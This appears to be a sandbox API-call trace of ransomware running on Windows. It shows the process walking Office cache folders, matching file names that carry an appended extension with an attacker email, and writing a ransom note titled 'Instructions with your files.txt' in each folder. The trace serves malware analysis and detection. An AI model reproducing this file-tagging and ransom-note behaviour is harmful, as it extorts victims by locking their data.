[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0x882e8360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2ee80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSETUP~1.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0115.007] StrStrIW (lpFirst="osetupui.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0x882e8360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PSS10R~1.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0115.007] StrStrIW (lpFirst="pss10r.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0x882e8360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x10776, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPC~1.COM")) returned 1
[0115.008] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0115.008] StrStrIW (lpFirst="setup.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.008] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0115.008] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0115.008] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.008] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SHELLU~1.COM")) returned 1
[0115.008] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0115.008] StrStrIW (lpFirst="ShellUI.MST_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.008] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SHELLU~1.COM")) returned 0
[0115.008] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0115.008] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0115.008] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0115.009] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0115.009] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0115.009] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0115.009] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0115.009] CloseHandle (hObject=0x10c) returned 1
[0115.021] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0115.022] GetProcessHeap () returned 0x810000
[0115.022] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0115.022] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x890e44a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890e44a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1
[0115.022] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned 66
[0115.022] GetProcessHeap () returned 0x810000
[0115.022] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0115.022] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*") returned 68
[0115.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x890e44a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890e44a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0115.024] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.") returned 68
[0115.024] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0115.024] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x890e44a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890e44a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.024] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..") returned 69
[0115.024] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0115.024] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x890981e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890981e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
[0115.024] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 79
[0115.024] GetProcessHeap () returned 0x810000
[0115.024] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be8
[0115.025] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*") returned 81
[0115.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x890981e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890981e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f300
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\.") returned 81
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x890981e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890981e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\..") returned 82
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x89072080, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x266b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ACCESS~1.COM")) returned 1
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 135
[0115.027] StrStrIW (lpFirst="AccessMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x89072080, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ACCESS~2.COM")) returned 1
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 135
[0115.027] StrStrIW (lpFirst="AccessMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x890981e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ACCLRC~1.COM")) returned 1
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 131
[0115.027] StrStrIW (lpFirst="AccLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0x890981e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x91a75, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="BRANDI~1.COM")) returned 1
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 134
[0115.027] StrStrIW (lpFirst="branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890981e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x890981e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890be340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Instructions with your files.txt") returned 112
[0115.027] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0115.027] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890981e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x890981e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x890be340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0115.027] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Instructions with your files.txt") returned 112
[0115.027] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0115.028] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0115.032] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0115.038] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0115.041] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0115.041] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0115.041] CloseHandle (hObject=0x110) returned 1
[0115.042] FindClose (in: hFindFile=0x82f300 | out: hFindFile=0x82f300) returned 1
[0115.042] GetProcessHeap () returned 0x810000
[0115.042] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be8 | out: hHeap=0x810000) returned 1
[0115.043] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x890be340, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd4300, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ACCESS~1.COM")) returned 1
[0115.043] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0115.043] StrStrIW (lpFirst="AccessMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.043] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x890e44a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ACCESS~2.COM")) returned 1
[0115.043] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0115.043] StrStrIW (lpFirst="AccessMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.043] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890e44a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x890e44a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8910a600, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0115.043] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0115.043] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0115.043] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x890e44a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0115.043] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0115.043] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.043] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x890e44a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0115.043] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
